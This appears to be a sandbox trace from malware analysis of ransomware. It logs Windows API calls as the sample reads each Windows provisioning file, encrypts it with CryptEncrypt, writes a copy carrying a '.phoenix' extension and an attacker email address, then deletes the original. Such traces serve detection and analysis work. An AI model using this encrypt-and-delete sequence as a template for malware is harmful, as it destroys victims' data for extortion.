	[0257.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\686__connections_cellular_t-mobile.pl (poland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\686__connections_cellular_t-mobile.pl (poland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.911] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\686__connections_cellular_t-mobile.pl (poland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.912] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.912] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.912] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\686__connections_cellular_t-mobile.pl (poland)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.913] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151140) returned 1
	[0257.913] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.913] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x357, lpOverlapped=0x0) returned 1
	[0257.976] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0257.976] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0257.977] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151480) returned 1
	[0257.977] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.977] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0257.977] CryptDestroyKey (hKey=0x151480) returned 1
	[0257.977] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0257.977] CryptDestroyKey (hKey=0x151140) returned 1
	[0257.977] CloseHandle (hObject=0x2d0) returned 1
	[0257.977] CloseHandle (hObject=0x2c0) returned 1
	[0257.977] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\686__connections_cellular_t-mobile.pl (poland)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.979] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0257.979] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\691__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.979] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=718) returned 1
	[0257.980] CloseHandle (hObject=0x2c0) returned 1
	[0257.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\691__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\691__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.980] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\691__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.980] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.980] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.980] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\691__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.981] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1511c0) returned 1
	[0257.981] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.981] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2ce, lpOverlapped=0x0) returned 1
	[0257.983] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0257.983] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0257.984] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151480) returned 1
	[0257.984] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.984] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0257.984] CryptDestroyKey (hKey=0x151480) returned 1
	[0257.984] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0257.984] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0257.984] CloseHandle (hObject=0x2c0) returned 1
	[0257.984] CloseHandle (hObject=0x2d0) returned 1
	[0257.984] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\691__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.986] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0257.986] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\692__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.987] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=716) returned 1
	[0257.987] CloseHandle (hObject=0x2d0) returned 1
	[0257.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\692__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0257.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\692__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.987] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\692__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.988] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.988] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.988] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\692__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.988] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151540) returned 1
	[0257.988] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.988] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cc, lpOverlapped=0x0) returned 1
	[0257.990] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0257.990] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0257.992] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151340) returned 1
	[0257.992] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.992] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0257.992] CryptDestroyKey (hKey=0x151340) returned 1
	[0257.992] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0257.992] CryptDestroyKey (hKey=0x151540) returned 1
	[0257.992] CloseHandle (hObject=0x2d0) returned 1
	[0257.992] CloseHandle (hObject=0x2c0) returned 1
	[0257.992] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\692__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml")) returned 1
	[0257.994] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0257.994] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\693__connections_cellular_kyivstar (ukraine)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.994] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=726) returned 1
	[0257.995] CloseHandle (hObject=0x2c0) returned 1
	[0257.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\693__connections_cellular_kyivstar (ukraine)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0257.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\693__connections_cellular_kyivstar (ukraine)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.995] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\693__connections_cellular_kyivstar (ukraine)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0257.995] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.995] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0257.995] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\693__connections_cellular_kyivstar (ukraine)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0257.996] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151040) returned 1
	[0257.996] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.996] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d6, lpOverlapped=0x0) returned 1
	[0257.998] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0257.998] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0257.999] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151340) returned 1
	[0257.999] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0257.999] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0257.999] CryptDestroyKey (hKey=0x151340) returned 1
	[0257.999] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0257.999] CryptDestroyKey (hKey=0x151040) returned 1
	[0257.999] CloseHandle (hObject=0x2c0) returned 1
	[0257.999] CloseHandle (hObject=0x2d0) returned 1
	[0258.002] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\693__connections_cellular_kyivstar (ukraine)_i0$(__mvid)@wap.provxml")) returned 1
	[0258.003] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0258.003] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\694__connections_cellular_kyivstar (ukraine)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.004] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=724) returned 1
	[0258.004] CloseHandle (hObject=0x2d0) returned 1
	[0258.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\694__connections_cellular_kyivstar (ukraine)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0258.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\694__connections_cellular_kyivstar (ukraine)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.004] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\694__connections_cellular_kyivstar (ukraine)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.004] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.004] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
